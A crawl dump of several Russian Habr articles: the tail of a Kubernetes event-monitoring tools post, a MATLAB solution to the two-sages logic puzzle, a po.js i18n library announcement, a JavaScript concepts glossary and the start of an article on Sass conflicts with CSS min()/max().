curl http://:9102/metrics
```
Еще Event Exporter можно развернуть непосредственно в кластере Kubernetes при помощи образа:
```
caicloud/event-exporter:${VERSION}
```
Sloop
-----
[Sloop](https://github.com/salesforce/sloop?ref=thechiefio) — независимое решение для мониторинга, долгосрочного хранения, визуализации событий и изменений в ресурсах Kubernetes. В нем есть график обновлений как для имеющихся ресурсов, так и для тех, которые уже не существуют в кластере. А на визуальной панели мониторинга удобно смотреть метрики событий при отладке или исправлении ошибок.
Установить Sloop можно с помощью helm chart, Docker или сборки из исходного кода. Чтобы собрать Sloop из исходного кода, клонируйте репозиторий на Github и соберите его с помощью из make-файла:
```
mkdir -p $GOPATH/src/github.com/salesforce
cd $GOPATH/src/github.com/salesforce
git clone
cd sloop
make
$GOPATH/bin/sloop
```
После этого Sloop заработает на адресе [localhost](http://localhost):8080.
> Мы разрабатываем [Kubernetes as a Service](https://mcs.mail.ru/containers/) и будем рады получить от вас обратную связь по его работе. При регистрации вы получите на тестирование 3000 бонусных рублей.
**Что почитать по теме:**
1. [Запуск проекта в Kubernetes за 60 минут](https://habr.com/ru/company/mailru/blog/565250/).
2. [Деплоим проект на Kubernetes в Mail.ru Cloud Solutions. Часть 1](https://mcs.mail.ru/blog/deploim-proekt-na-kubernetes-v-mcs-chast-1).
3. [Как устроен Kubernetes as a Service на платформе Mail.ru Cloud Solutions](https://mcs.mail.ru/blog/kak-ustroen-kubernetes-as-a-service-na-platforme-mail-ru).
4. [90+ полезных инструментов для Kubernetes: развертывание, управление, мониторинг, безопасность и не только](https://mcs.mail.ru/blog/poleznye-instrumenty-dlya-kubernetes). | https://habr.com/ru/post/570500/ | null | ru | null |
# Решение задачи о двух мудрецах и числах от 1 до 100
Недавно на Хабре промелькнула интересная задачка про двух мудрецов. Здесь я хочу предложить свой вариант решения и рассказать, как к этому решению можно прийти. Напомню условие:
> *У некоторого султана было два мудреца: Али-ибн-Вали и Вали-ибн-Али. Желая убедиться в их мудрости, султан призвал мудрецов к себе и сказал: «Я задумал два числа. Оба они целые, каждое больше единицы, но меньше ста. Я перемножил эти числа и результат сообщу Али и при этом Вали я скажу сумму этих чисел. Если вы и вправду так мудры, как о вас говорят, то сможете узнать исходные числа».
>
> Султан сказал Али произведение, а Вали – сумму. Мудрецы задумались. Первым нарушил молчание Али.
>
> — Я не знаю этих чисел, — сказал он, опуская голову.
>
> — Я это знал, — подал голос Вали.
>
> — Тогда я знаю эти числа, — обрадовался Али.
>
> — Тогда и я знаю! — воскликнул Вали.
>
> И мудрецы сообщили пораженному султану задуманные им числа.
>
> Назовите эти числа.*
Существует похожая задача, которая тоже была на Хабре. Она значительно проще.
Задача о Дне рождения:
> *Альберт и Бернард только что познакомились с Шерил. Они хотят знать, когда у неё день рождения. Шерил предложила им десять возможных дат: 15 мая, 16 мая, 19 мая, 17 июня, 18 июня, 14 июля, 16 июля, 14 августа, 15 августа и 17 августа. Затем Шерил сказала Альберту месяц своего рождения, а Бернарду — день. После этого состоялся диалог.
>
> Альберт: Я не знаю, когда у Шерил день рождения, но я знаю, что Бернард тоже не знает.
>
> Бернард: Поначалу я не знал, когда у Шерил день рождения, но знаю теперь.
>
> Альберт: Теперь я тоже знаю, когда у Шерил день рождения.
>
> Когда у Шерил день рождения?*
При ближайшем рассмотрении можно увидеть, что эти две задачи совершенно идентичны.
Некоторым дням соответствуют несколько возможных месяцев, также, как некоторым произведениям соответствует несколько сумм (например, произведению 60 соответствуют суммы 15+4=19, 12+5=17 и т.д.). Некоторым месяцам соответствуют несколько дней, также, как некоторым суммам соответствуют несколько произведений (например, сумме 10 соответствуют произведения 6\*4=24, 7\*3=21 и т.д.). Смысл диалогов тоже совершенно одинаковый.
Это значит, что, если мы составим работающий алгоритм решения задачи о дне рождения, то сможем использовать его и для задачи о мудрецах. Разница лишь в количестве возможных комбинаций день-месяц и сумма-произведение, которые требуется перебрать. Если день рождения можно вычислить вручную на бумаге, то для поиска чисел от 1 до 100 нужно использовать программные средства. Поэтому мы сначала составим алгоритм для более простой задачи, чтобы убедиться в его правильности, а затем подставим туда исходные данные из более сложной.
Для решения я использовал MATLAB. Да, я стреляю из пушки по воробьям, но с Матлабом я часто сталкиваюсь в работе, так что пусть каждый использует инструмент, который ему привычнее.
**Итак, решение.**
**1.** Запишем исходные условия: вектор с возможными значениями дней, вектор с возможными значениями месяцев и прямоугольную матрицу, в которой на местах возможных сочетаний стоят единицы.
```
days = [14; 15; 16; 17; 18; 19];
months = [5; 6; 7; 8];
matrix = [ 0 0 1 1; 1 0 0 1; 1 0 1 0; 0 1 0 1; 0 1 0 0; 1 0 0 0 ];
```
**2.** Проанализируем первую фразу Альберта, который знает месяц:
> *Я не знаю, когда у Шерил день рождения, но я знаю, что Бернард тоже не знает.*
Из неё можно сделать вывод, что любым дням, допустимым для этого месяца, могут соответствовать больше одного месяца.
Такая ситуация невозможна для мая (ведь если день рождения 19 мая, то Бернард уже знает ответ) и для июня (если ответ – 18 июня, то Бернард тоже знает точную дату).
Чтобы исключить невозможные месяцы, нам нужно найти строки, в которых только одна единица (дни 18 и 19), найти столбцы где стоят эти единицы (месяцы 5 и 6) и вычеркнуть эти столбцы.
На Матлабе это действие будет выглядеть так:
```
unique_days = find(sum(matrix,2)==1);
[~, months_with_unique_days] = find (matrix(unique_days,:)==1);
months_with_unique_days = unique(months_with_unique_days);
matrix(:,months_with_unique_days) = [];
months(months_with_unique_days) = [];
```
**3.** После первой фразы Бернард, которому известен день, ответил:
> *Поначалу я не знал, когда у Шерил день рождения, но знаю теперь.*
Значит, тому дню, который знает Бернард, соответствует только один месяц.
Такая ситуация возможна для чисел 15, 16 и 17.
Все строки матрицы, в которых больше одного решения или нет ни одного, нужно удалить.
```
non_unique_days = find(sum(matrix,2)~=1);
matrix(non_unique_days,:) = [];
days(non_unique_days) = [];
```
**4.** Альберт, знающий месяц, ответил:
> *Теперь я тоже знаю, когда у Шерил день рождения.*
Значит, в оставшейся части матрицы остался столбец, в котором есть только один вариант. Этот столбец соответствует июлю. Выбросим все столбцы, где больше одного варианта.
```
non_unique_months = find(sum(matrix)~=1);
matrix(:,non_unique_months) = [];
months(non_unique_months) = [];
```
**5.** Осталось найти в оставшемся столбце единицу.
```
days = days(matrix == 1);
disp(days);
disp(months);
```
Ответ: **16 июля**.
**Вот полный исходный код решения.**
```
% Birthday example
matrix = [ 0 0 1 1; 1 0 0 1; 1 0 1 0; 0 1 0 1; 0 1 0 0; 1 0 0 0 ];
days = [14; 15; 16; 17; 18; 19];
months = [5; 6; 7; 8];
% Remove months with unique days
unique_days = find(sum(matrix,2)==1);
[~, months_with_unique_days] = find (matrix(unique_days,:)==1);
months_with_unique_days = unique(months_with_unique_days);
matrix(:,months_with_unique_days) = [];
months(months_with_unique_days) = [];
% Remove non-unique days
non_unique_days = find(sum(matrix,2)~=1);
matrix(non_unique_days,:) = [];
days(non_unique_days) = [];
% Find 1 month with unique day
non_unique_months = find(sum(matrix)~=1);
matrix(:,non_unique_months) = [];
months(non_unique_months) = [];
% Find the last day
days = days(matrix == 1);
% Result output
disp(days);
disp(months);
```
Теперь попробуем применить этот алгоритм для задачи с мудрецами.
Месяцы заменим на все возможные суммы двух чисел от 2 до 99. Это будут целые числа от 4 до 198. Дни заменим на все возможные произведения двух чисел от 2 до 99. Таких произведений оказалось 2843. После этого сгенерируем матрицу, где будут стоять единицы на пересечениях возможных пар сумма-произведение.
**Небольшой фрагмент этой таблицы (примерно 1/400)**По горизонтальной оси – суммы, по вертикальной – произведения.
```
months = 4:198;
days = unique((2:99)'*(2:99));
matrix = false(length(days),length(months));
for i1 = 2:99
for i2 = 2:99
matrix(days==(i1*i2),months==(i1+i2)) = true;
end;
end;
```
Запустим программу и получим ответ: произведение – 52, сумма – 17.
Это соответствует паре чисел **4 и 13**. | https://habr.com/ru/post/256293/ | null | ru | null |
# po.js — супер простая утилита для i18n
Когда я разрабатываю системы на Zend Framework, то всегда использую gettext и Zend\_Translate. Всё лаконично просто и обычно не возникает никаких проблем с переводом даже больших проектов. Для каждого языка генерируются свои файлы .po и .mo, переводы пляшут от дефолтного языка, ключи тоже на этом же языке. Переводчикам удобно передать эти файлы, которые они могут открыть в POEdit и удобно всё перевести. Так вот, на стороне сервера всё очень просто, но часто нужно переводить какие-то сообщения «на лету» в JavaScript, а он не понимает ваши .mo файлы. Но хотелось бы пользоваться именно ими, чтобы не разделять перевод одного проекта на 2 части (backend, frontend). И я начал искать. В Интернете существует достаточно большое количество таких решений, но все они почему-то обрастают зависимостями:
[code.google.com/p/gettext-js](https://code.google.com/p/gettext-js/) (Prototype)
[angular-gettext.rocketeer.be](http://angular-gettext.rocketeer.be/) (Angular)
[github.com/jakob-stoeck/jquery-gettext](https://github.com/jakob-stoeck/jquery-gettext) (jQuery)
А хотелось иметь именно «pure-js» решение. Ок, напишем своё.
Первым делом я искал, как же в JS прочитать PO-файлы. Можно парсить, но это лишняя нагрузка, поэтому я решил не насиловать JavaScript и отдавать ему уже готовый JSON. Поэтому первое, что нам предстоит сделать, -это сконвертировать PO в JSON. Советую воспользоваться [этим конвертером](https://localise.biz/free/converter/po-to-json).
Далее алгоритм простой, сохраняем себе на сервер JSON-файл, а передаем ссылку на него в pojs. Конечно, подключив перед этим po.min.js на страницу.
```
pojs.init('/ru.json');
```
Если текущий язык дефолтный, то не нужно передавать ссылку на JSON.
Все переводы возвращаются после вызова функции с передачей в нее ключа. Если ключ не найден, то будет возвращен сам ключ.
```
pojs._('Hello world');
```
Также в po.js присутствует еще одна супер-мини фича, немного похожая на sprintf.
```
pojs._('My name is %s, and I am %s years old', ['Sasha', 24]);
```
Если JSON не закэширован, то он будет получен асинхронно, а это значит, что мы не сможем использовать pojs.\_() сразу же после инициализации. Оберните код, где используются переводы:
```
pojs.ready(function() {
pojs._('Hello world');
});
```
Стоит отметить какие-то плюсы po.js, иначе не было бы смысла всё это делать:
1. Нано-размер: ~0.7KB
2. Не нуждается в сторонних зависимостях, таких как jQuery, Prototype, Angular …
3. JSON кэшируется в localStorage. Поэтому будьте осторожны, если у вас очень большие файлы переводов. Сбросить кэш можно просто добавив "?1" к ссылке на JSON-файл (да, вот такой old school)
[po.js на GitHub](https://github.com/plutov/po.js)
**p.s.**
Писал чисто под свои нужды, возможно, вам чего-то не хватает или что-то работает не так. Готов править, улучшать! | https://habr.com/ru/post/229495/ | null | ru | null |
# Из чего сделан JavaScript?
В течение первых нескольких лет использования JavaScript я чувствовал себя чуть ли не самозванцем. Даже хотя я и мог создавать веб-сайты с помощью фреймворков, я ощущал, что мне чего-то не хватает. Собеседования по JavaScript внушали мне страх из-за того, что у меня не было чёткого понимания основ этого языка.
[](https://habr.com/ru/company/ruvds/blog/482472/)
За многие годы я сформировал ментальную модель JavaScript, которая дала мне ощущение уверенности. Здесь я собираюсь поделиться с вами весьма сжатым вариантом этой модели. Её структура напоминает словарь. Каждое понятие описано в нескольких предложениях.
По мере того, как вы будете читать этот материал, попробуйте мысленно оценить то, насколько вы уверенно чувствуете себя по отношению к каждому рассматриваемому здесь вопросу. И если окажется так, что многое отсюда покажется вам не особенно знакомым, я вас за это не осужу. Но если это и правда так — в конце материала есть то, что поможет вам исправить ситуацию.
Ментальная модель JavaScript
----------------------------
* **Значение.** Концепция значения немного абстрактна. Это — «нечто». Значение в JavaScript — это то же самое, что число в математике, или точка в геометрии. Когда ваша программа выполняется — мир этой программы полон значений. Числа, вроде `1`, `2` и `420` — это значения. Но значениями являются и другие сущности. Например — предложение `"Cows go moo"`. Правда, не всё является значением. Число — это значение, но инструкция `if` — это уже не значение. Ниже мы ещё поговорим о различных видах значений.
+ **Тип значения.** Существуют различные «типы» значений. Например, числа — вроде `420`, строки — такие, как `"Cows go moo"`, объекты. Есть и другие типы значений. Узнать тип значения можно с помощью оператора `typeof`. Например, команда `console.log(typeof 2)` выведет `number` в консоль.
+ **Примитивные значения.** Некоторые значения имеют «примитивные» типы. Это — числа, строки, и ещё некоторые значения. Одно интересное свойство примитивных значений заключается в том, что нельзя создать больше таких значений, чем есть в языке, нельзя и менять существующие примитивные значения. Например, каждый раз, когда вы используете в коде число `2` — это будет одно и то же значение `2`. В программе нельзя «создать» ещё одно значение `2`, или сделать так, чтобы `2` «превратилось» бы в `3`. Это справедливо и для строк.
+ **Значения `null` и `undefined`.** Это — два особых значения. Они не такие, как другие, из-за того, что с ними много чего нельзя делать — их появление часто приводит к ошибкам. Обычно использование `null` представляет собой указание на то, что некое значение не было назначено переменной умышленно, а `undefined` говорит о том, что некое значение отсутствует по случайности. Однако то, как именно использовать эти значения, программист решает сам. Эти значения существуют из-за того, что иногда лучше, чтобы в ходе выполнения некоей операции произошла бы ошибка, а не случилось бы так, что выполнение программы продолжилось бы после «обработки» несуществующего значения.
* **Равенство.** Как и понятие «значение», понятие «равенство» является одной из фундаментальных концепций JavaScript. Мы говорим о том, что два значения равны в том случае, если они… на самом деле, не буду этого говорить. Если два значения равны, то это значит, что они являются одним и тем же значением. Не двумя разными значениями, а одним! Например, справедливы равенства `"Cows go moo" === "Cows go moo"` и `2 === 2`. И тут всё понятно: `2` — это `2`. Обратите внимание на то, что мы используем три знака равенства, которые представляют вышеописанную концепцию равенства значений в JavaScript.
+ **Строгое равенство.** О нём мы только что говорили в предыдущем пункте.
+ **Равенство ссылок.** И о нём мы тоже только что говорили.
+ **Нестрогое равенство.** О, а вот это — уже кое-что совсем другое. В JavaScript проверка на нестрогое равенство значений производится с использованием оператора, состоящего из двух знаков равенства (`==`). Сущности могут быть признаны нестрого равными друг другу даже в том случае, если они представлены различными значениями, выглядящими похожими друг на друга (нечто вроде `2` и `"2"`). Оператор нестрогого равенства был добавлен в JavaScript на ранних стадиях становления языка, для удобства. С тех пор он является бездонным источником путаницы. Концепцию нестрогого равенства нельзя назвать фундаментальной, но она является типичным источником ошибок. Вы можете изучить оператор нестрогого равенства в какой-нибудь дождливый день, но многие стараются попросту не использовать оператор `==`.
* **Литерал.** Литералы используют тогда, когда на значение ссылаются, записывая его в коде программы. Например, `2` — это числовой литерал, а `"Banana"` — это строковой литерал.
* **Переменная.** Переменные позволяют ссылаться на значения, используя имена. Например — `let message = "Cows go moo"`. После того, как в коде была использована подобная конструкция, везде, где понадобится предложение `"Cows go moo"`, можно писать просто `message`, а не повторять это предложение. Позже можно поменять `message`, сделав так, чтобы переменная указывала бы на что-то другое. Например, воспользовавшись такой конструкцией: `message = "I am the walrus"`. Обратите внимание на то, что это не меняет самого значения. Это влияет лишь на то, на что именно ссылается переменная. Это — вроде «подключения» имени переменной к чему-то другому. Сначала переменная была «подключена» к `"Cows go moo"`, а теперь — к `"I am the walrus"`.
+ **Область видимости переменной.** Если бы во всей программе можно было бы использовать лишь одну переменную с именем `message` — это было бы очень плохо. Когда мы объявляем переменную, она оказывается доступной лишь в некоторой части программы. Эта часть называется «областью видимости переменной». Существуют правила, описывающие особенности работы областей видимости. Обычно выявить область видимости переменной можно, выяснив то, в каком блоке, ограниченном фигурными скобками (`{}`), она объявлена. Этот блок и можно назвать областью видимости переменной.
+ **Присваивание значений переменным.** Когда мы пишем в коде `message = "I am the walrus"` — это приводит к тому, что мы меняем переменную `message` так, чтобы она указывала бы на значение `"I am the walrus"`. Эту операцию называют присвоением переменной значения, или записью чего-либо в переменную, или установкой переменной.
+ **Ключевые слова `let`, `const` и `var`.** Обычно для объявления переменных лучше всего подходит ключевое слово `let`. Если нужно сделать так, чтобы в переменную нельзя было бы записать ничего нового — можно воспользоваться ключевым словом `const`. (В некоторых кодовых базах и командах педантично относятся к этому вопросу, заставляя всех, в том случае, если значение записывается в переменную лишь один раз, использовать `const`.) Постарайтесь не пользоваться ключевым словом `var`, так как с переменными, объявленными с его помощью, связаны запутанные правила, касающиеся определения области видимости переменных.
* **Тип `Object`.** Тип `Object`, сущности, принадлежащие к которому, называют объектами, играет в JavaScript особую роль. Примечательная особенность объектов заключается в том, что они могут быть связаны с другими значениями. Например, объект `{flavor: "vanilla"}` имеет свойство `flavor`, которое указывает на значение `"vanilla"`. Объекты можно воспринимать как самостоятельные значения, из которых тянутся связи к другим значениям.
+ **Свойство объекта.** Свойство — это нечто вроде «связи», которая идёт из объекта и указывает на некое значение. Это может напомнить вам идею переменной: у свойства есть имя (вроде `flavor`), оно указывает на некое значение (вроде `"vanilla"`). Но, в отличие от переменной, свойства «живут» внутри самого объекта, а не где-то в коде (в некоей области видимости переменной). Свойство считается частью объекта, а значение, на которое ссылается свойство, частью объекта не считается.
+ **Объектный литерал.** Объектный литерал — это механизм, позволяющий создавать объекты, внося в код соответствующие конструкции. Например — это `{}` или `{flavor: "vanilla"}`. В фигурных скобках может быть объявлено множество пар вида `свойство: значение`, разделённых запятыми. Это позволяет нам указывать значения, на которые ссылаются свойства объектов.
+ **Идентичность объектов.** Мы уже говорили о том, что `2` равно `2` (другими словами — `2 === 2`), так как мы, где бы ни записали число `2`, «призываем» в это место одно и то же значение. Но каждый раз, когда мы пишем `{}`, мы всегда получаем разные значения. Как результат, один объект вида `{}` не равен другому объекту, который тоже выглядит как `{}`. Попробуйте записать в консоли следующее: `{} === {}` (результатом будет `false`). Когда компьютер встречает в коде число `2` — он всегда работает с одной и той же двойкой. Но объектные литералы — это уже кое-что другое. Когда компьютер встречает `{}`, он создаёт новый объект, который всегда является новым значением. Как же проверять объекты на равенство? Понятие «равенство» можно рассматривать как понятие «идентичность значений». Когда мы говорим: «`a` и `b` идентичны» — это значит, что мы имеем в виду то, что `a` и `b` указывают на одно и то же значение (то есть — `a === b`). Когда же мы говорим о том, что `a` и `b` не идентичны, это значит, что `a` и `b` указывают на различные значения (то есть — `a !== b`).
+ **Точечная нотация.** Когда нужно прочитать значение свойства объекта или что-то записать в свойство, можно использовать точечную нотацию (`.`). Например, если переменная `iceCream` указывает на объект, свойство которого `flavor` содержит строку `"chocolate"`, то конструкция `iceCream.flavor` даст нам `"chocolate"`.
+ **Скобочная нотация.** Иногда заранее неизвестно имя свойства объекта, к которому нужно обратиться. Например, иногда нужно читать значение свойства `iceCream.flavor`, а иногда — значение свойства `iceCream.taste`. Скобочная нотация (`[]`) позволяет обращаться к свойствам объектов, задавая их имена с помощью переменных. Например, предположим, что в коде есть такая переменная: `let ourProperty = 'flavor'`. Это значит, что конструкция вида `iceCream[ourProperty]` даст нам значение `"chocolate"`. Что интересно, скобочной нотацией можно пользоваться и при создании объектов: `{ [ourProperty]: "vanilla" }`.
+ **Мутация.** Мы говорим о том, что объект мутирует (или изменяется) в том случае, если кто-то записывает в его свойство новое значение. Например, если мы создали объект `let iceCream = {flavor: "vanilla"}`, позже мы можем присвоить свойству новое значение с помощью `iceCream.flavor = "chocolate"`. Обратите внимание на то, что даже если бы мы объявили переменную `iceCream` с использованием ключевого слова `const`, это, всё равно, не помешало бы нам изменить свойство объекта `iceCream.flavor`. Это так из-за того, что использование `const` защищает от перезаписи лишь саму переменную `iceCream`, а мы меняем свойство (`flavor`) объекта, на который ссылается переменная. Некоторые люди отказались от использования `const` только из-за того, что это ключевое слово способно ввести программиста в заблуждение.
+ **Массив.** Массив — это объект, который представляет собой набор неких значений. Массивы можно объявлять с использованием литералов массивов, например — так: `["banana", "chocolate", "vanilla"]`. Использование подобной конструкции приводит к созданию объекта, свойство которого с именем `0` указывает на строку `"banana"`, свойство `1` — на строку `"chocolate"`, свойство `2` — на значение `"vanilla"`. Утомительно было бы записывать то же самое примерно так: `{0: ..., 1: ..., 2: ...}`. Поэтому массивы — это полезные структуры. Массивы имеют встроенные механизмы, которые предназначены для работы с их элементами. Среди них — методы `map`, `filter` и `reduce`. Не расстраивайтесь, если имя `reduce` кажется вам непонятным. Оно всем кажется непонятным.
+ **Прототип.** Что происходит в том случае, если попытаться обратиться к несуществующему свойству объекта? Например, что случится, если мы обращаемся к `iceCream.taste`, а в объекте есть только свойство `flavor`? Если ответить на этот вопрос, не вдаваясь в детали, то можно сказать, что, попытавшись обратиться к несуществующему свойству, мы получим особое значение `undefined`. Если дать на этот вопрос развёрнутый ответ, то начать надо с того, что большинство объектов в JavaScript имеют так называемый «прототип». Прототип объекта можно воспринимать как «скрытое» свойство, которое указывает системе на то, где нужно искать запрашиваемое свойство в том случае, если в самом объекте его нет. В нашем примере, когда оказывается, что в объекте `iceCream` нет свойства `taste`, JavaScript будет искать это свойство в прототипе объекта, который тоже является объектом. А если и там его не найдёт — то в прототипе прототипа, и так далее. Значение `undefined` будет выдано только тогда, когда будет достигнут конец «цепочки прототипов», и при этом свойство `.taste` так и не будет найдено. Вам редко придётся напрямую работать с этим механизмом, но, зная о прототипах, можно понять то, почему у объекта `iceCream` есть метод `toString`, который мы никогда не объявляли. Этот метод берётся из прототипа объекта.
* **Функция.** Функция — это особое значение, существующее с единственной целью: представление некоего фрагмента кода программы. Функции удобны в тех ситуациях, когда программист не хочет постоянно писать один и тот же код. «Вызов» функции, выглядящий как `sayHi()`, сообщает компьютеру о том, что ему нужно выполнить код, находящийся внутри функции, а потом — вернуться туда, где была вызвана функция. В JavaScript существует множество способов объявления функций, которые немного отличаются друг от друга.
+ **Аргументы (или параметры) функции.** Аргументы позволяют передавать в функцию некие данные из того места, где вызывается функция. Например, это может выглядеть так: `sayHi("Amelie")`. Поведение аргументов в функции похоже на поведение переменных. Слова «параметры» и «аргументы» используют в зависимости от того, о чём именно идёт речь — об объявлении функции, или о её вызове. Хотя различие в терминологии точное — на практике эти термины взаимозаменяемы.
+ **Функциональное выражение.** Ранее мы записывали в переменные строковые значения. Например — `let message = "I am the walrus"`. Как оказывается, в переменную можно записать и функцию: `let sayHi = function() { }`. То, что находится после знака `=`, называется функциональным выражением. Оно даёт нам особое значение (функцию), которое представляет собой фрагмент кода. Если нам нужно выполнить этот код — мы можем вызвать соответствующую функцию.
+ **Объявление функции.** Программисту может надоесть постоянно писать нечто вроде `let sayHi = function() { }`. Если это так — то тут можно воспользоваться более краткой формой описания функции: `function sayHi() { }`. Эта конструкция называется объявлением функции. Вместо того чтобы указывать в левой части выражении имя переменной, мы помещаем это имя после ключевого слова `function`. Обычно два вышеописанных стиля создания функций взаимозаменяемы.
+ **Поднятие функций в верхнюю часть области видимости.** Обычно переменной можно пользоваться только после того, как она была объявлена помощью `let` или `const`, ниже места её объявления. В случае с функциями это может оказаться неудобным. Функции могут вызывать друг друга. Непростой задачей способно оказаться выяснение того, какая из них должна быть создана первой. Хорошо то, что при использовании объявлений функций (и только при использовании этого подхода!), порядок описания функций неважен. Дело в том, что при таком подходе функции «поднимаются» в верхнюю часть области видимости. То есть оказывается, что функции, даже при попытке их вызова из кода, который идёт до их объявления, уже оказываются определёнными и готовыми к работе.
+ **Ключевое слово `this`.** Возможно, ключевое слово `this` — это концепция JavaScript, которую чаще других понимают неправильно. Это ключевое слово можно сравнить с особым аргументом функции. Но сами мы его функциям не передаём. Его передаёт JavaScript. Значение `this` зависит от того, как именно вызывают функцию. Например, при вызове метода объекта с использованием точечной нотации, вроде `iceCream.eat()`, `this` будет указывать на то, что находится перед точкой. В нашем примере это — объект `iceCream`. Значение `this` в функции зависит от того, как вызвана функция, а не от того, где она была объявлена. Существуют особые методы, такие, как `.bind`, `.call` и `.apply`, которые дают программисту возможность управлять тем, что попадёт в `this`.
+ **Стрелочные функции.** Стрелочные функции напоминают функциональные выражения. Объявляют их так: `let sayHi = () => { }`. Они компактны и часто используются для оформления однострочных конструкций. Возможности стрелочных функций ограничены сильнее, чем возможности обычных функций. Например, у них нет ключевого слова `this`. Когда в стрелочной функции используют ключевое слово `this` — оно берётся из той функции, в которую вложена стрелочная функция. Это похоже на обращение к аргументу или к переменной из функции, вложенной в другую функцию. На практике это означает, что стрелочными функциями пользуются тогда, когда хотят, чтобы в них было бы видно то же значение `this`, которое существует в окружающем их коде.
+ **Привязка значения `this` к функциям.** Обычно привязка некоей функции `f` к конкретному значению `this` и к некоему набору аргументов означает, что создаётся новая функция, которая вызывает функцию `f` с этими заранее заданными значениями. В JavaScript есть вспомогательный механизм для привязки функций — метод `.bind`, но привязывать `this` к функции можно и другими способами. Привязка была популярным способом достижения того, чтобы вложенные функции «видели» бы то же значение `this`, что и внешние по отношению к ним функции. Теперь в подобной ситуации используются стрелочные функции, в результате привязка функций используется в наше время нечасто.
+ **Стек вызовов.** Вызвать функцию — это как войти в комнату. Каждый раз, когда мы вызываем функцию, переменные внутри неё снова инициализируются. В результате каждый вызов функции — это нечто вроде строительства новой «комнаты» с кодом функции. Когда «комната» «построена», в неё «входят», выполняется код функции. Переменные, объявленные в функции, «живут» в этой «комнате». Когда осуществляется возврат из функции — «комната» исчезает вместе со всем её содержимым. Все эти «комнаты», создаваемые при вызовах функций, можно представить в виде высокой «башни». Это — стек вызовов. Когда мы выходим из некоей функции — мы попадаем в функцию, которая расположена «ниже» её в стеке вызовов.
+ **Рекурсия.** Рекурсия — это когда функция сама себя вызывает. Эта методика полезна в тех случаях, когда то, что уже было сделано функцией, надо повторить, но с использованием других аргументов. Например, если мы пишем поисковую систему, которая исследует веб-сайты, то у нас может быть функция `collectLinks(url)`. Эта функция сначала собирает ссылки, находящиеся на странице какого-то сайта, а потом сама себя вызывает, передавая себе каждую из найденных ссылок. Это происходит до тех пор, пока не будут посещены все страницы некоего сайта. Опасность рекурсии заключается в том, что вполне случайно, можно написать функцию, которая будет вызывать саму себя бесконечно. Правда, если в программе и правда оказывается бесконечная рекурсия, это приведёт к переполнению стека вызовов и выполнение программы остановится с ошибкой `stack overflow`. Стек переполняется из-за того, что в него попадает слишком много записей о вызванных функциях.
+ **Функция высшего порядка.** Функция высшего порядка — это функция, которая работает с другими функциями, принимая их в виде аргументов или возвращая их в виде результатов своей работы. Поначалу это может показаться странным, но тут стоит помнить о том, что функции — это значения. А значит — обращаться с ними можно так же, как и с другими значениями — с числами, строками, объектами. Если при использовании функций высшего порядка руководствоваться чувством меры, то в результате получается хороший выразительный код.
+ **Функция обратного вызова.** Функция обратного вызова (коллбэк) — это термин, который имеет отношение не только к JavaScript. Это, скорее, паттерн. Он выглядит так: одну функцию передают другой функции в виде аргумента при её вызове. Вызванная функция на некоем этапе своей работы вызовет переданную ей функцию. Например, функция `setTimeout` принимает коллбэк, который… вызывается после истечения тайм-аута. Но надо отметить, что в функциях обратного вызова нет ничего особенного. Это — обычные функции. И когда мы называем их «функциями обратного вызова», это говорит лишь о том, что мы ожидаем их вызова другими функциями.
+ **Замыкание.** Обычно, когда мы выходим из функции, переменные, объявленные в ней, просто исчезают. Это происходит из-за того, что они уже никому не нужны. А что если объявить функцию в другой функции и вернуть эту новую функцию при выходе из внешней функции? При таком подходе внутреннюю функцию можно будет когда-нибудь вызвать. А значит — можно будет и обратиться к переменным внешней по отношению к ней функции. На практике это очень полезно. Но для того чтобы эта схема работала, переменные внешней функции должны где-то храниться. Решение этой задачи берёт на себя JavaScript, не уничтожая их, а поддерживая их существование. Эти переменные хранятся в так называемом «замыкании». Хотя замыкания часто относят к сложным для понимания концепциям JavaScript, вы, вероятно, пользуетесь ими по многу раз в день, даже не зная об этом.
Итоги
-----
JavaScript сделан из всех тех концепций, которые мы обсудили. Но состоит этот язык не только из них. Меня очень беспокоили мои знания в области JavaScript. Продолжалось это до тех пор, пока мне не удавалось построить правильную ментальную модель языка. Этим материалом я хочу помочь будущим поколениям разработчиков поскорее понять JavaScript. А вот — мой проект [Just JavaScript](https://justjavascript.com/). Он создан для тех, кто хочет как следует разобраться в том, как работает JavaScript.
**Уважаемые читатели!** Как вы изучали JavaScript?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/482472/ | null | ru | null |
# О конфликтах Sass и сравнительно новых возможностей CSS
Сравнительно недавно в CSS появилось много интересных возможностей, таких, как [CSS-переменные](https://css-tricks.com/guides/css-custom-properties/) и новые [функции](https://css-tricks.com/complete-guide-to-css-functions/). Хотя всё это и может сильно упростить жизнь веб-дизайнерам, эти возможности способны неожиданными способами взаимодействовать с CSS-препроцессорами вроде Sass.
[](https://habr.com/ru/company/ruvds/blog/511596/)
Автор материала, перевод которого мы сегодня публикуем, расскажет о том, с какими проблемами ей довелось столкнуться, о том, как она с ними справлялась, и о том, почему она считает, что без Sass в наши дни всё ещё обойтись нельзя.
Ошибки
------
Если вы экспериментировали с CSS-функциями `min()` и `max()`, то, используя разные единицы измерения, могли столкнуться с сообщениями об ошибках, наподобие такой: `Incompatible units: vh and em`.
*Сообщение об ошибке, возникающее при использовании различных единиц измерения в функциях min() и max()*
Это сообщение выводится из-за того, что в Sass есть собственная функция `min()`. CSS-функция `min()`, в результате, игнорируется. Кроме того, Sass не может выполнять вычисления, используя единицы измерения, между которыми нет чётко зафиксированной взаимосвязи.
Например, взаимосвязь единиц измерения `cm` и `in` определена чётко, поэтому Sass может найти результат функции `min(20in, 50cm)` и не выдаёт ошибку в том случае, если чем-то подобным воспользоваться в коде.
То же самое происходит и с другими единицами измерения. Например, все угловые единицы измерения взаимосвязаны: `1turn`, `1rad` или `1grad` всегда приводятся к одним и тем же значениям, выраженным в единицах измерения `deg`. То же самое справедливо, например, и в случае, когда `1s` всегда равно `1000ms`. `1kHz` всегда равно `1000Hz`, `1dppx` всегда равно `96dpi`, `1in` всегда равно `96px`. Именно поэтому Sass может преобразовывать друг в друга значения, выраженные в этих единицах измерения, и смешивать их в вычислениях, используемых в различных функциях, вроде собственной функции `min()`.
Но всё идёт не так, когда между единицами измерения нет чёткой взаимосвязи (как, например, выше, у `em` и `vh`).
И такое происходит не только при использовании значений, выраженных в разных единицах измерения. Попытка использования функции `calc()` внутри `min()` тоже приводит к появлению ошибки. Если попробовать, в `min()`, поместить что-то вроде `calc(20em + 7px)`, то выводится такая ошибка: `calc(20em + 7px) is not a number for min`.
*Сообщение об ошибке, возникающее при попытке использования calc() внутри min()*
